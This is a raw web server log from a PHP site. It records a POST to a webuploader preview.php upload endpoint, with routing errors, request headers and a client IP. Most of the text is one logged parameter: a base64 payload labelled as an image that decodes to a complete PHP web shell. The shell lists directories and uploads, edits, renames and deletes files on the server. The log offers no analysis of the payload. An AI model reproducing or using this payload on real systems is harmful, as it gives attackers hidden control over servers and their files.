'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'js' => 'plugins', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:30+08:00 ] 116.213.36.234 POST www.51tianwei.com/static/common/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002443s] [吞吐率:409.36req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'common', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 